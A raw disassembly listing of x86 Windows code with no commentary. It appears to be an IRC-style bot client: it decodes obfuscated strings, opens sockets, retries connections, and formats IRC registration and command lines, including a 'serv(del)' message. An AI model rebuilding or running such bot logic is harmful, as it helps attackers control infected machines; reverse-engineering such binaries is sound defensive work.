		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F40
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27E0C04h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_449104
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_449108
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_44910C
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449110
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E54
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC6E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493FD
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACE6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493B4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACE6
		push	edx
		push	offset dword_449290
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449322
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACE6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492D9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACE6
		add	edx, 92h
		push	edx
		push	offset byte_44936B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44948F
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2830000h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44933C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492D9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F74D1
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F40
		mov	ecx, offset byte_44936B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44936B
		call	sub_4017EE
		mov	edx, dword_4490EC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		mov	ecx, dword_4490F0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		nop
		call	near ptr 27E0C04h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493B4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490CC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490D0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
